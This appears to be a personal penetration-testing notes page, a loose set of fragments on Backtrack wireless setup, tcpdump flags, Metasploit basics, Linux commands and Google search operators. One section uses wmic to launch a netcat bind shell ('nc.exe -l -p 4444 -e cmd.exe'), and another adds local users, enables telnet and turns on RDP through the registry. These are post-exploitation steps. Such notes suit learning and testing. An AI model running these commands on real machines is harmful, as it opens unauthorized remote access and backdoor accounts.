nagpentest

Configure Wirelesss Lan in Backtrack 5R1 (Ubuntu) a. Download the utility (wireless lan card drivers) in a XP box. copy the  rtl8187B.sys & rtl8187B.inf files where these two files can be downloaded to the BT linux. b. Open a Terminal (Applications, Accessories, Terminal) and type "sudo apt-get install ndisgtk" and press "Enter." Type "sudo apt-get install ndiswrapper-common" and "sudo apt-get install ndiswrapper-utils," both followed by "Enter." This installs Ndiswrapper, a utility for installing Windows devices drivers in Linux. c. Plug in your TEW-424UB and insert the vendor CD into the disc drive and double-click the desktop icon to view its contents. Open the "Drivers" folder and navigate to "Windows XP." Drag the drivers (both SYS and INF) from this folder onto Ubuntu's desktop. d. Type "sudo ndiswrapper -i /home/USERNAME/Desktop/Sis163u.INF," replacing USERNAME with your Ubuntu username, and ...

-i any : Listen on all interfaces just to see if you're seeing any traffic. -n : Don't resolve hostnames. -nn : Don't resolve hostnames or port names. -X : Show the packet's contents in both hex and ASCII . -XX : Same as -X , but also shows the ethernet header. -v, -vv, -vvv : Increase the amount of packet information you get back. -c : Only get x number of packets and then stop. -s : Define the size of the capture (use -s0 unless you are intentionally capturing less.) -S : Print absolute sequence numbers. -e : Get the ethernet header as well. -q : Show less protocol information. -E : Decrypt IPSEC traffic by providing an encryption key. -s : Set the snaplength , i.e. the amount of data that is being captured in bytes -c : Only capture x number of packets, e.g. ' tcpdump -c 3 ' Basic Usage So, based on the kind of traffic I'm looking for, I use a different combination of options to tcpdump , as can be seen below: Basic communication // se...

to look at the process that have a name of nc.exe lisiting one line of output(brief), every 1 second. windows>wmic process where name="nc.exe" list brief /every:1 invoke nc using wmic windows>wmic process call create "c:\tools\nc.exe -l -p 4444 -e cmd.exe" delete/kill netcat process windows>wmic process where name="nc.exe" delete

Metasploit Cheat Sheet You already know what a vulnerability is. An exploit is a piece of code written to take advantage of a particular vulnerability.  A payload is a piece of code to be executed through said exploit. Have a look at the Metasploit Framework. It is simply a collection of exploits and payloads. Each exploit can be attached with various payloads like reverse or bind shells, the meterpreter shell etc. The beauty of the Metasploit Framework is that it is modular. You can mix and match different payloads and exploits to achieve the needed results. From < https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf > Metasploit The Metasploit Framework is a development platform for developing and using security tools and exploits. Metasploit Meterpreter Meterpreter is a payload within the Metasploit Framework that provides control over an exploited target system, running as a DLL loaded inside of any process on a target machine. ...

query status of a service windows> sc query <service_name> state query qc change startup type to demand (a manually started service). this will change the service startup to manual which can be started later windows> sc config tlntsvr start= demand turn service on windows> sc start tlntsvr to add a user windows> net user [username] [passwd] /add add a local grp to host windows> net localgroup [grp name] /add add a user to the local grp windows> net localgroup [grp name] [username] /add change the value to 0 to allow RDP connection from blocked (1) to allowed (0). on most windows rdp service is started but system is configured to deny terminal service connection from rdp client. this setting is controlled by a regstry key called fdenyconnections. add will overwrite exisitng settings. /v value that needs to be changed. windows> reg add "hklm\system\currentcontolset\control\terminal\server"/v fdenytsconnections /t reg_dword /d 0 see all the valriable w...

>useradd -d /home/fred fred >system-config-users >id <username> = to list the id number for the user/group >passwd >whoami > sh <root_username> > linux file system structure = 2 b added > ls -la = diferent color means diferent things = 2 be added. > how to mount cdrom or flash drive = 2 b added > locate <program_name> > find / -name <file_to_look_for>..find / -name ls &...runs in the background using the & after the cmd intervention > less <file_to_see_the_content_of>; ls /dev | less > echo $PATH > which ls = u can c where ls commands are being run from > ps aux | less or top > bg or fg = to start the program in  the background or foreground > jobs = to list all process running in the background > gedit /etc/sysconfig/network-scripts/ifcfg-eth0 > service network restart > netstat -nap | less = show listeining ports; > /usr/sbin/lsof -i |  less = li...

Google searches are case insenstive.   site: search only within the given domain. If you include site: in your query, Google will restrict your search results to the site or domain you specify. For example, [  admissions site:www.lse.ac.uk  ] will show admissions information from London School of Economics’ site and [  peace site:gov  ] will find pages about peace within the .gov domain. You can specify a domain with or without a period, e.g., either as .gov or gov . OR[  site:www.lse.ac.uk   admissions ] OR [  site:www.lse.ac.uk filetype:ppt ] will look for all ppt files in that particular site OR [site:abcd.net ppt] will not only get ppt but also web pages that include the text ppt.   link: Shows all sites linked to a fiven site. The query link: URL shows pages that point to that URL . For example, to find pages that point to Google Guide’s home page, enter: [  link:www.googleguide.com  ] related: Shows similar pages. The quer...